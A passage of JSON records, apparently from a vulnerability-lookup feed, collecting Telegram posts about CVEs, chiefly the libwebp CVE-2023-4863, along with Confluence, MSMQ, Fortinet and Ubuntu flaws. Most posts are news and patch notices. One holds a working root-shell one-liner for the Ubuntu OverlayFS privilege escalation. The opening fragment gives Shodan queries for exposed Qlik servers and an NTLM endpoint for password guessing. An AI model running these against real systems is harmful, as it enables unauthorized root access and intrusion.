\u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0434\u043b\u044f NTLM \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 /internal_windows_authentication/?targetId=$GUID, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0434\u0431\u0438\u0440\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0438\u043b\u0438 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431 Active Directory \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438. Red Team \u043d\u0430 \u0437\u0430\u043c\u0435\u0442\u043a\u0443!\n\n\ud83d\udc40 \u041d\u0430 Shodan \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e 6576 (\u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0434\u043d\u044f 3 \u043d\u0430\u0437\u0430\u0434 \u0431\u044b\u043b\u043e 7000+) \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 Qlik. \u041a\u0430\u043a \u0438\u0441\u043a\u0430\u0442\u044c:\n\ud83d\udd39http.title:\"Qlik\"\n\ud83d\udd39http.favicon.hash:-1730722660\n\n\u0412\u043e\u0442 \u0442\u0430\u043a\u0430\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0431\u044d\u043a\u0435\u043d\u0434 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u043c\u0438, \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0433\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u043f\u0440\u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u043e\u0445\u043e\u0436\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.", "creation_timestamp": "2023-12-03T17:01:28.000000Z"}, {"uuid": "9de27fa2-a5cb-4675-ad49-2f01803e91eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "https://t.me/bh_cat/202", "content": "\ud83d\udcd5 \u041f\u043e\u0434\u0431\u043e\u0440\u043e\u0447\u043a\u0430 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83d\udca1 Atlassian Confluence Server - Improper Authorization\n\n\u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435:\nCVE-2023-22518\n\u0421\u043a\u043e\u0440\u0438\u043d\u0433 CVSS3.x:\n\u270d\ufe0f\u270d\ufe0f\u270d\ufe0f\n\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435:\n- \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c, \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0443 Confluence, \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 Confluence \u0438, \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\nPOC\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\n\n\n\ud83d\udca1 Microsoft Message Queuing Remote Code Execution\n\n\u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435:\nCVE-2023-21554\n\u0421\u043a\u043e\u0440\u0438\u043d\u0433 CVSS3.x:\n\u270d\ufe0f\u270d\ufe0f\u270d\ufe0f\n\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435: \n- \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0433\u0440\u043e\u0436\u0430\u044e\u0449\u0435\u043c\u0443 \u0430\u0433\u0435\u043d\u0442\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c RCE-\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 Microsoft Messaging Queue.\nPOC\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\n\n\ud83d\udca1 Google Chrome heap buffer overflow in WebP \n\n\u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435:\nCVE-2023-4863\n\u0421\u043a\u043e\u0440\u0438\u043d\u0433 CVSS3.x: \n\u270d\ufe0f\u270d\ufe0f\u270d\ufe0f\n\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435:\n-  \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043f\u0430\u043c\u044f\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.\nPOC\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\n\n\ud83d\udca1 Ubuntu Privilege Escalation (Double)\n\n\u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435:\nCVE-2023-2640\nCVE-2023-32629\n\u0421\u043a\u043e\u0440\u0438\u043d\u0433 CVSS3.x:\n\u270d\ufe0f\u270d\ufe0f\u270d\ufe0f\n\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435:\n- \u041d\u0430 \u044f\u0434\u0440\u0430\u0445 Ubuntu, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u043a\u0430\u043a c914c0e27eb0, \u0442\u0430\u043a \u0438 \"UBUNTU: SAUCE: overlayfs: \u041f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0434\u043b\u044f trusted.overlayfs.* xattrs\", \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0434\u043b\u044f \u0441\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0438\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0434\u043b\u044f \u0432\u0435\u0440\u0445\u043d\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0431\u0435\u0437 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n- \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u044f\u0434\u0440\u0430\u0445 Ubuntu \u0412 \u044f\u0434\u0440\u0430\u0445 Ubuntu \u043e\u0432\u0435\u0440\u043b\u0435\u0439\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b ovl_copy_up_meta_inode_data \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043f\u0440\u0438 \u0432\u044b\u0437\u043e\u0432\u0435 ovl_do_setxattr.\nPOC\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\nunshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; python3 -c 'import os;os.setuid(0);os.system(\\\"/bin/bash\\\")'\"\n\n#poc", "creation_timestamp": "2023-11-10T11:18:42.000000Z"}, {"uuid": "07aa2570-c773-48a7-9ddb-493538934d9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "https://t.me/beaverdreamer/106", "content": "Electron App Tracker\nCVE-2023-4863 \n\nRCE \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430\nhttps://github.com/mistymntncop/CVE-2023-4863\n\n\u0420\u0430\u0437\u0431\u043e\u0440:\nhttps://blog.isosceles.com/the-webp-0day/\n\n\u041f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u041f\u041e \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u043e\u0439:\nhttps://gist.github.com/mttaggart/02ed50c03c8283f4c343c3032dd2e7ec", "creation_timestamp": "2024-03-12T15:00:40.000000Z"}, {"uuid": "9fe48813-3b95-4f41-bd85-7822b05a3b46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/disasm_me_ch/237", "content": "\u0414\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0440\u0435\u0434\u043a\u043e\u0435 \u044f\u0432\u043b\u0435\u043d\u0438\u0435, \u043a\u043e\u0433\u0434\u0430 RCE \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0438 \u0432 \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 Chrome/Chromium (\u0432\u043a\u043b\u044e\u0447\u0430\u044f Edge), \u0438 \u0432 \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 Firefox. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-4863 \u043d\u0430\u0448\u043b\u0438 \u0432 libwebp, \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0440\u0430\u0441\u0442\u0440\u043e\u0432\u044b\u043c\u0438 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u043c\u0438 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 WebP (\u0437\u0430\u043c\u0435\u043d\u0430 PNG \u0438 JPEG). \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043b\u044e\u0431\u043e\u0439 \u0441\u043e\u0444\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043c\u0435\u0435\u0442 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0432 WebP, \u0432\u043f\u043e\u043b\u043d\u0435 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 libwebp \u0438 \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u0443\u0434\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c. Google \u043f\u0438\u0448\u0443\u0442, \u0447\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0435\u0441\u0442\u044c \u0432 \u043f\u0430\u0431\u043b\u0438\u043a\u0435. \n\n\u0418 \u044d\u0442\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b. \u041f\u0438\u0448\u0443\u0442, \u0447\u0442\u043e libwebp \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 Electron framework, Signal, Honeyview, Affinity, Gimp, Inkscape, LibreOffice, Telegram, Thunderbird (\u0435\u0441\u0442\u044c \u043f\u0430\u0442\u0447), ffmpeg \u0438 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u0410 \u043a\u0430\u043a \u043d\u0430\u0441\u0447\u0451\u0442 Safari? \u041f\u0440\u043e \u043d\u0435\u0433\u043e \u043f\u043e\u043a\u0430 \u043c\u043e\u043b\u0447\u0430\u0442, \u043d\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0421\u041c\u0418 \u0434\u0435\u043b\u0430\u044e\u0442 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0447\u0442\u043e \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435 RCE \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Apple, CVE-2023-41061 \u0438 CVE-2023-41064, \"\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430\" #BLASTPASS \u044d\u0442\u043e \u043f\u0440\u043e \u0442\u043e \u0436\u0435.\n\n\u0418 \u0447\u0442\u043e, \u043a\u0430\u043a \u0441 log4j \u0431\u0443\u0434\u0435\u0442? \u0412\u0440\u044f\u0434 \u043b\u0438, \u043d\u043e \u0432\u0438\u0434\u0438\u043c\u043e \u0437\u0430\u0446\u0435\u043f\u0438\u0442 \u043c\u043d\u043e\u0433\u043e \u043a\u043e\u0433\u043e.\n\n@avleonovrus #libwebp", "creation_timestamp": "2023-09-14T08:05:23.000000Z"}, {"uuid": "153cb10b-e7c2-42b0-9cdc-987380330219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/CyberBulletin/1793", "content": "\u26a1\ufe0fAttackers are exploiting Fortinet's CVE-2023-48788 (CVSS 9.3) to install remote desktop tools like AnyDesk and ScreenConnect.\n\n#CyberBulletin", "creation_timestamp": "2024-12-20T16:21:50.000000Z"}, {"uuid": "2ef72a83-677e-4ff8-a7ca-34b2075f7957", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4800", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5197", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aRepository for CVE-2023-4800 vulnerability. \nURL\uff1ahttps://github.com/b0marek/CVE-2023-4800\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-09-24T12:14:24.000000Z"}, {"uuid": "ca7c181e-f519-417f-a197-e064e7a0f116", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/alexmakus/5148", "content": "libwebp \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0442\u044c \u043e \u0441\u0435\u0431\u0435, \u0442\u0435\u043f\u0435\u0440\u044c \u0430\u043f\u0434\u0435\u0439\u0442\u0430\u043c\u0438 \u0443 Microsoft \n\nhttps://msrc.microsoft.com/blog/2023/10/microsofts-response-to-open-source-vulnerabilities-cve-2023-4863-and-cve-2023-5217/", "creation_timestamp": "2023-10-03T18:18:06.000000Z"}, {"uuid": "01423444-685a-4f54-a121-1dadd58ac62b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/kasperskylab_ru/5786", "content": "\u041a \u0447\u0435\u043c\u0443 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043f\u0440\u0435\u043d\u0435\u0431\u0440\u0435\u0436\u0435\u043d\u0438\u0435 \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c?\n\n\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-48788 \u0432 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 FortiClient EMS. \u0417\u0430 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 \u0432\u0437\u044f\u043b\u0438\u0441\u044c \u043d\u0430\u0448\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0438\u0437 GERT \u0438 \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u0442\u0430\u043a\u0442\u0438\u043a\u0438, \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u0438 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0435\u0440\u0438\u044e \u043f\u043e\u0445\u043e\u0436\u0438\u0445 \u0430\u0442\u0430\u043a, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u0432\u0441\u0451 \u0442\u0443 \u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043e \u043d\u0430\u0445\u043e\u0434\u043a\u0430\u0445 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u0432 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u2014 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435.", "creation_timestamp": "2025-01-15T08:11:16.000000Z"}, {"uuid": "abb5c9d6-f781-4449-9e32-f54f43ab3e01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/alexmakus/5122", "content": "Oh no!\n\nCVE-2023-4863!\n\nWebP!\n\nGoogle Chrome, Microsoft Edge, Mozilla Firefox, Apple Safari!\n\nhttps://chromereleases.googleblog.com/2023/09/stable-channel-update-for-desktop_11.html\nhttps://www.mozilla.org/en-US/security/advisories/mfsa2023-40/#CVE-2023-4863\n\n\u0438 \u0442\u0434.", "creation_timestamp": "2023-09-14T14:57:43.000000Z"}, {"uuid": "0690d2b0-18b3-40c3-9e20-23e1cf70f271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/alexmakus/5150", "content": "\u043e\u043a\u0442\u044f\u0431\u0440\u0441\u043a\u0438\u0439 \u043f\u0430\u0442\u0447 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443 Android, \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f 54 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 (CVE-2023-4863 \u2014\u00a0\u0432\u0441\u0435 \u0435\u0449\u0435 libwep, \u0438 CVE-2023-4211) \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0439, \u0442\u0430\u0440\u0433\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u043c Google.\n\nhttps://source.android.com/docs/security/bulletin/2023-10-01", "creation_timestamp": "2023-10-03T18:52:26.000000Z"}, {"uuid": "e9b04587-e1ca-4637-88ac-98c1def89a81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/kasperskyb2b/871", "content": "\u26a1\ufe0f\u26a1\ufe0f\u26a1\ufe0f\u26a1\ufe0f \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 \u0432\u0430\u0448\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b \n\n\u0412\u0447\u0435\u0440\u0430 \u0431\u044b\u043b \u0432\u0442\u043e\u0440\u043d\u0438\u043a \u043f\u0430\u0442\u0447\u0435\u0439 Microsoft, \u043d\u043e \u043d\u0430\u0447\u043d\u0451\u043c \u0441 \u0431\u043e\u043b\u0435\u0435 \u0441\u0440\u043e\u0447\u043d\u043e\u0433\u043e. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-4863, \u0437\u0430\u043a\u0440\u044b\u0442\u0430\u044f \u0432 \u043f\u043e\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u0438\u043a \u0432 Google Chrome, \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439  \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 WebP. \u041f\u0440\u0438 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0437\u0430\u043f\u0438\u0441\u044c \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c 